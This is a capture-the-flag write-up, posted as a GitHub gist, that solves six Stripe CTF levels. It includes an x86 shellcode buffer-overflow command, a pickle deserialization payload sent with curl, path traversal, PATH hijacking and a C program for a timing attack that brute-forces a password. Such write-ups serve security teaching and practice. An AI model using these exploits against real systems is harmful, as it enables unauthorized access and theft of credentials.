Created
March 17, 2012 02:36
-
-
Save idanw/2054510 to your computer and use it in GitHub Desktop.
Stripe CTF Solutions
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Stripe CTF Solutions | |
Author: Idan Warsawski | |
Here's a small description of how I did each level: | |
Level 01: | |
system("date"); | |
Realias date to another pogram that will run "cat /home/level02/.password" | |
I used a simple shell script: | |
#!/bin/sh | |
cat /home/level02/.password | |
and overwrite the PATH variable with the directory containing the shell script: | |
$ PATH=`pwd`:$PATH | |
$ export PATH | |
$ /levels/level01 | |
Current time: kxlVXUvzv | |
Level 02: | |
Vulnerability here is the fact that the value from the user supplied | |
cookie is fed directly to the file open function. | |
If we set the cookie (using a Firefox or Chrome plugin) to | |
../../home/level03/.password it will output the password on the web | |
page | |
Level 03: | |
The function index is not checked against being negative, so due to | |
the stack layout (specifically the fact that the input buffer is | |
copied to a local variable), we can find a negative index that will | |
alias onto the user supplied buffer. Thankfully the address of run | |
(0x804875b) does not have any null characters as well. | |
One overlap appears to be at -20 (found via experimentation using | |
gdb), so entering the raw hex address as an argument will allow us to | |
choose the run function due to the function pointer call: | |
perl -e 'print "cat /home/level04/.password;#ABC\x5b\x87\x04\x08"' | |
The ;# was added so the system call will ignore anything after the | |
first argument | |
level03@ctf6:/tmp/tmp.eH1g5J0VQx$ /levels/level03 -20 "`perl -e 'print "cat /home/level04/.password;#ABC\x5b\x87\x04\x08"'`" | |
i5cBbPvPCpcP | |
Level 04: | |
This level was, in my opinion, much, much harder than the level 3 and | |
level 5. | |
The issue here is the unbounded strcpy function. We can overwrite the | |
return address to whatever we want but there are number of issues: | |
1) Due to stack address randomization we can't predict the absolute | |
location of the stack ahead of time, which makes trying to set the | |
return pointer to a location on the stack very difficult. We do | |
have a fairly large buffer so we could implement a large nop sled | |
to increase our chances, but it would still be a brute force | |
implementation | |
2) We can't easily do a return to libC attack since I don't believe we | |
can predict the location of system or any other libC functions that | |
are not used ahead of time due to the *@plt helper functions. | |
I personally spent a bunch of hours on this, I ended up using a | |
generator for exec that helps get rid of null characters, and trying to | |
see if brute force works. | |
Finally, in gdb at the end of the function I noticed that eax was set | |
to the beginning of buf. Running objdump -d I noticed there's a | |
call *%eax instruction in frame_dummy. Since eax is set to the | |
beginning of the buffer and the stack is executable, we can overwrite | |
the stack pointer to that call *%eax instruction which will directly | |
execute our code. No nop sleds or other brute force attacks needed. | |
The command used is this: | |
/levels/level04 "`perl -e 'print "\x60\x6a\x0b\x58\x99\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x68\x2d\x63\x63\x63\x89\xe1\x52\xeb\x07\x51\x53\x89\xe1\xcd\x80\x61\xe8\xf4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x63\x61\x74\x20\x2f\x68\x6f\x6d\x65\x2f\x6c\x65\x76\x65\x6c\x30\x35\x2f\x2e\x70\x61\x73\x73\x77\x6f\x72\x64", "\x0a"x963, "\x7f\x84\x04\x08"'`" | |
The beginning hex characters are the generated exploit code which | |
calls exec on "cat /home/level05/.password", the repeated \x0a is to | |
simply fill up the buffer (0x0a is the newline character which also | |
has the effect of terminating the exec instruction) and the last hex | |
instructions is the address of the call *%eax instruction which | |
overwrites the return address. This offset was discovered to be 1036 | |
bytes via gdb experimentation. | |
Password: fzfDGnSmd317 | |
Level 05: | |
Here was simply take advantage of bad serialization and | |
regex matching. Running the code on my own machine I determined the | |
output format and crafted a pickle run string using examples from | |
http://nadiana.com/python-pickle-insecure as a template. | |
Exploit line: | |
curl 127.0.0.1:9020 -d "`perl -e 'print "this_is_the_type; job: cos\nsystem\n(S\x27cat /home/level06/.password > /tmp/tmp.zJAv4LdMhh/password\x27\ntR."'`" | |
Where the temp directory is changed the the current working directory. | |
You need to make the file "password" first and chmod to 777 in order | |
for it to work. The Job on the server side is overwritten to run a | |
system command to cat the password to the file specified. | |
$ cat password | |
SF2w8qU1QDj | |
Level 06: | |
I tried numerous approaches to this one. Due to the fork() | |
call right after the first incorrect password I thought by simply | |
merging stderr and stdout it would be easy to see, however, due to | |
buffering and other oddities this turned out not to work (I tested | |
pipes, redirection, blocking/non blocking but couldn't get it to | |
work). As a result I thought that by using a high resolution timer to | |
record when each character is read through a pipe we could perform a | |
differential timing attack since the fork() system call will slow down | |
the next iteration by hopefully a noticeable amount. Turns out it did. | |
I wrote a program that will brute force one character at a time and | |
check to see if there is an order of magnitude difference between each | |
outputted dot. It could possibly be automated more, but it worked well | |
enough for a single password. | |
Sample running: | |
level06@ctf5:/tmp/tmp.z1h1qiP9qQ$ ./a.out AAAAAAA 0 2> /dev/null | |
POSSIBLE LETTER: t GUESS: tAAAAAA | |
level06@ctf5:/tmp/tmp.z1h1qiP9qQ$ ./a.out thAAAAAAA 1 2> /dev/null | |
POSSIBLE LETTER: h GUESS: thAAAAAAA | |
level06@ctf5:/tmp/tmp.z1h1qiP9qQ$ ./a.out thAAAAAAA 2 2> /dev/null | |
POSSIBLE LETTER: e GUESS: theAAAAAA | |
level06@ctf5:/tmp/tmp.z1h1qiP9qQ$ ./a.out theAAAAAA 3 2> /dev/null | |
POSSIBLE LETTER: f GUESS: thefAAAAA | |
... | |
level06@ctf5:/tmp/tmp.z1h1qiP9qQ$ ./a.out theflagl0eFTtT5oi0nOTxAAAAA 22 2> /dev/null | |
POSSIBLE LETTER: O GUESS: theflagl0eFTtT5oi0nOTxOAAAA | |
level06@ctf5:/tmp/tmp.z1h1qiP9qQ$ ./a.out theflagl0eFTtT5oi0nOTxOAAAA 23 2> /dev/null | |
POSSIBLE LETTER: 5 GUESS: theflagl0eFTtT5oi0nOTxO5AAA | |
level06@ctf5:/tmp/tmp.z1h1qiP9qQ$ ./a.out theflagl0eFTtT5oi0nOTxO5AAA 24 2> /dev/null | |
Since no possible combinations were found we can guess that this is | |
probably the password (sans the extra As to pad the input to get more | |
timing results). stderr is redirected since if a clear order of | |
magnitude difference isn't found in the timing it repeats the test and | |
logs it to stderr. | |
The source code is quite ugly and not polished (there's a bunch of | |
unused code left over from repeated iterations + very little input | |
checking or comments), but it works for the single use case of | |
finding out the flag's password. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* Stripe CTF Level 06 timing attack | |
* | |
* Compile with -lrt | |
* | |
* Arguments: | |
* 1) Input Password to guess, it is best to pad the | |
* output with junk characters to get better timing | |
* 2) Character to guess, indexed from 0 | |
* | |
* Note, if the system load is high it can give false positives, | |
* running the program multiple times for each character and | |
* finding the intersections of the sets fixes this | |
* | |
* Author: Idan Warsawski | |
*/ | |
#include <stdio.h> | |
#include <string.h> | |
#include <time.h> | |
#include <stdlib.h> | |
#include <sys/types.h> | |
#include <sys/wait.h> | |
const char dict[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; | |
void get_diff(struct timespec * diff, struct timespec * start, struct timespec * end); | |
int num_digits(int); | |
int main(int argc, char ** argv) | |
{ | |
int i, num_chars, mod_index; | |
struct timespec * times; | |
char buf[256], guess_buf[128]; | |
char * known_input; | |
if(argc == 1) | |
known_input = ""; | |
else | |
known_input = argv[1]; | |
num_chars = strlen(known_input) + 1; | |
if(argc == 3) | |
mod_index = atoi(argv[2]); | |
else | |
mod_index = num_chars - 1; | |
strcpy(guess_buf, known_input); | |
guess_buf[num_chars] = 0; | |
times = malloc(sizeof(struct timespec) + 33 + num_chars); | |
//we've got 33 chars to read for the welcome screen | |
for(i = 0; i < sizeof(dict) - 1; i++) | |
{ | |
int j; | |
guess_buf[mod_index] = dict[i]; | |
sprintf(buf, "/levels/level06 /home/the-flag/.password %s > /dev/null", guess_buf); | |
pid_t pid; | |
int pipe_redir[2]; | |
pipe(pipe_redir); | |
if(!(pid = fork())) | |
{ | |
close(2); | |
dup2(pipe_redir[1], 2); | |
close(pipe_redir[0]); | |
usleep(5000); | |
exit(system(buf)); | |
} | |
else | |
{ | |
char readout[33+1+num_chars]; | |
int delta[num_chars]; | |
int timer_num = 0; | |
int status; | |
close(pipe_redir[1]); | |
clock_gettime(CLOCK_REALTIME, ×[timer_num++]); | |
while(timer_num < (33+1+num_chars)) | |
{ | |
char c; | |
read(pipe_redir[0], readout + timer_num - 1, 1); | |
//fputc(c, stdout); | |
clock_gettime(CLOCK_REALTIME, ×[timer_num++]); | |
} | |
waitpid(pid, &status, NULL); | |
if(strncmp("Welcome to the password checker!", readout, 32)) | |
{ | |
fprintf(stderr, "Error in output: %s\n", readout); | |
goto redo_round; | |
} | |
for(timer_num = 33; timer_num < (33+num_chars); timer_num++) | |
{ | |
struct timespec tmp; | |
get_diff(&tmp, ×[timer_num], ×[timer_num + 1]); | |
delta[timer_num - 33] = tmp.tv_nsec; | |
} | |
//now we're going to do a simple order of magnitude | |
//comparision, we should have 1 time which is an order of | |
//magnitude higher than the others. If we don't that's a | |
//timing problem and we should repeat | |
int k, delta_high = 0, delta_low = 0, possible_index = 0; | |
delta_high = num_digits(delta[0]); | |
for(k = 1; k < num_chars - 1; k++) | |
{ | |
int digits = num_digits(delta[k]); | |
if(digits > delta_high) | |
{ | |
if(delta_low == 0) | |
{ | |
delta_low = delta_high; | |
delta_high = digits; | |
possible_index = k; | |
} | |
else | |
{ | |
fprintf(stderr, "Timing issue error: " | |
"Mag(Cur: %d, High: %d, Low: %d) " | |
"Index: %d, Guess: %d\n", digits, delta_high, delta_low, k, possible_index); | |
goto redo_round; | |
} | |
} | |
else if(digits < delta_high) | |
{ | |
if(delta_low == 0) | |
{ | |
delta_low = digits; | |
} | |
else if(digits != delta_low) | |
{ | |
fprintf(stderr, "Timing issue error: " | |
"Mag(Cur: %d, High: %d, Low: %d) " | |
"Index: %d, Guess: %d\n", digits, delta_high, delta_low, k, possible_index); | |
goto redo_round; | |
} | |
} | |
else if(delta_high == digits && delta_low != 0) | |
{ | |
fprintf(stderr, "Timing issue error: " | |
"Mag(Cur: %d, High: %d, Low: %d) " | |
"Index: %d, Guess: %d\n", digits, delta_high, delta_low, k, possible_index); | |
goto redo_round; | |
} | |
} | |
if(delta_low == 0) | |
{ | |
goto redo_round; | |
} | |
if((possible_index - 1) != mod_index) | |
{ | |
fprintf(stdout, "POSSIBLE LETTER: %c GUESS: %s\n", dict[i], guess_buf); | |
} | |
//fprintf(stdout, "Guess: %s : %d", guess_buf, possible_index); | |
/*for(timer_num = 32; timer_num < (33+num_chars); timer_num++) | |
{ | |
fprintf(stdout, "%d: %d\t", timer_num - 31, delta[timer_num - 32]); | |
//fprintf(stdout, "Char %c: %d\n", readout[timer_num], tmp.tv_nsec); | |
}*/ | |
//fprintf(stdout, "\n"); | |
//exit(0); | |
continue; | |
redo_round: | |
i--; | |
} | |
} | |
return 0; | |
} | |
/* lifted from | |
* http://www.guyrutenberg.com/2007/09/22/profiling-code-using-clock_gettime/ | |
*/ | |
void get_diff(struct timespec * diff, struct timespec * start, struct timespec * end) | |
{ | |
if ((end->tv_nsec-start->tv_nsec)<0) { | |
diff->tv_sec = end->tv_sec-start->tv_sec-1; | |
diff->tv_nsec = 1000000000+end->tv_nsec-start->tv_nsec; | |
} else { | |
diff->tv_sec = end->tv_sec-start->tv_sec; | |
diff->tv_nsec = end->tv_nsec-start->tv_nsec; | |
} | |
} | |
int num_digits(int n) | |
{ | |
int count = 0; | |
do | |
{ | |
count++; | |
n /= 10; | |
} | |
while(n != 0); | |
return count; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment